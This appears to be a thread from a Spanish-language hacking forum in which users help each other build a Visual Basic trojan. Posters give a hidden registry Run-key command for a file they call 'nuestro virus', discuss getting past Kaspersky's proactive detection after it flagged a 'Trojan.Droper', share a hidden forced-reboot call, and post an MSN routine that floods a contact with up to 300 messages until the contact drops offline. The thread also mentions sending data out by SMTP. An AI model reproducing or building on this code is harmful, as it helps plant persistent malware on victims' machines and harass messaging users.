Mensajes

Entonces si la sutituyes cada vez que la ejecutas no se ve en el admin? Yo lo hacía copiando el exe a windows, y en el codigo comprobaba si el exe existia, si existe es que  la calve ya la é copiado y si no existe lo copio a windows y lo añado. Entonces si la sutituyes cada vez que la ejecutas no se ve en el admin? Porque mi problema fue el KAV con su proactiva, ya que pedia confirmación al añadir info al registro, y el el titulo se podía leer "Trojan.Droper"...
Salu2

Pues te quedaría asi:

Código [Seleccionar] Expandir

Shell ("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v
NOMBREDENUESTROVIRUS /d Rutadenuestrovirus.exe"),vbhide
Asi se añade al registro y la ventana ms-dos no se ve cuando se ejecuta.
Salu2

Pues te quedaría así:

Código [Seleccionar] Expandir

Reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v (el nombre) /d "(ruta del bat)"           

Mas información:

                          AÑADIR CLAVE EN EL REGISTRO

REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]

  clave      [\\equipo\]tclave
             Equipo     nombre del equipo remoto. Si se omite se usa el
                        equipo actual. Sólo HKLM y HKU están disponibles
                        para equipos remotos.
             tclave     CLAVERAIZ\subclave
             CLAVERAIZ  [ HKLM | HKCU | HKCR | HKU | HKCC ]
             subclave   Nombre completo de una clave de registro en la
                        CLAVERAIZ seleccionada.

  /v         Nombre del valor en la clave seleccionada para agregar

  /ve        Agrega el nombre de valor vacío <sin nombre>

  /t         Tipos de datos de clave de registro
             [ REG_SZ    | REG_MULTI_SZ  | REG_DWORD_BIG_ENDIAN    |
               REG_DWORD | REG_BINARY    | REG_DWORD_LITTLE_ENDIAN |
               REG_NONE  | REG_EXPAND_SZ ]
             Si se omite, se asume REG_SZ

  /s         Especifica el carácter que usa como separador en su cadena
             de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como
             separador

  /d         Datos que se asignan a nvalor del registro que se agrega

  /f         Fuerza la sobrescritura de entradas de registro existentes
             sin avisar.

Ejemplos:

  REG ADD \\ABC\HKLM\Software\MiCo
    Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC

  REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead
    Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)

  REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida

Sacado de la ayuda de la shell
Salu2

[nhaalclkiemr]

Creo que está bastante claro el aporte de nhaalclkiemr en este foro 
Salu2

Si al cargar la dll te da error será que no es compatible, supongo.... 
Salu2

No hace falta poner cmd.exe, ese code puede quedar asi:

Código [Seleccionar] Expandir

Private Sub Form_Load()
Shell ("shutdown -r -t 30"),vbhide 'esto reinicia el ordenata despues de 30seg y hace que la ventana ms-dos permanezca oculta
End Sub
Salu2

Código [Seleccionar] Expandir

Dim contacto As IMessengerContact
For Each contacto In messengerapi.Messenger.MyContacts
If contacto.Status <> MISTATUS_OFFLINE Then
    contactos.AddItem contacto.SigninName
End If
Next

'***********DESCONECTAR***********
Private Sub cmddesconectar_click()
Dim i As Integer
Dim x As IMessengerContact
x = txtcontacto.Text
For i = 1 To 300
messengerapi.Messenger.InstantMessage txtcontacto.Text
Clipboard.Clear
Clipboard.SetText textoaenviar.text
SendKeys "^v"
SendKeys "{ENTER}"
If x.Status = MISTATUS_OFFLINE Then
    i = "300"
End If
Next i
DoEvents
End Sub


Si lo haces con la API no da error al no tener la ventana del msn abierta 
Salu2

Bueno, voy a probar aver, creo que es facil de hacer.....
salu2

La función de verificar el exe en la versión 2.5 aún no la he utilizado, pero el problema sigue ahí, solo habia echo la interfaz gráfica y lo d que se carguen los contactos en un listbox:

Código [Seleccionar] Expandir

messengerapi.Messenger.InstantMessage txtcontacto.Text

Dim contacto As IMessengerContact
For Each contacto In messengerapi.Messenger.MyContacts
If contacto.Status <> MISTATUS_OFFLINE Then
contactos.AddItem contacto.SigninName
End If

Y dejar de utilizar la API es cargarse mi programa. Pero si el problema es de la API, no se puede adjuntar la o las librerías que dan problemas al exe? Porque el código está bien, no tiene fallos, y en mi pc el programa arranca y funciona perfectamente, pero en otras pc's, (que no digo en todas) hai errores, por eso digo que tiene que ser de alguna dll. Alguna solución???
Salu2

Yo prefiero utilizar el winsock y enviarlo por smtp, cuando aprenda a utilizarlo claro...
Salu2